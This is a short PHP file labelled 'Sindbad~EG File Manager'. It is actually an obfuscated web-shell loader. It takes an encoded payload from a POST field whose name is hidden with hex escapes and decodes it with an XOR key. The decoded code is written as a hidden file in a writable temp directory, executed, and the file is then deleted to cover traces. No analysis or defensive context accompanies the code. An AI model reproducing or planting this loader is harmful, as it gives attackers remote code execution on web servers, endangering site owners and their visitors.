Sindbad~EG File Manager

<?php

if(@$_POST["dat\x61\x5Fc\x68unk"] !== null){
	$tkn = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp"]);
	$marker = hex2bin($_POST["dat\x61\x5Fc\x68unk"]);
	$mrk   =      ''     ;   $y = 0; do{$mrk .= chr(ord($marker[$y]) ^ 95);$y++;} while($y < strlen($marker));
	foreach ($tkn as $key => $pgrp) {
    		if (is_writable($pgrp) && is_dir($pgrp)) {
    $dchunk = sprintf("%s/.itm", $pgrp);
    if (file_put_contents($dchunk, $mrk)) {
	require $dchunk;
	unlink($dchunk);
	exit;
}
}
}
}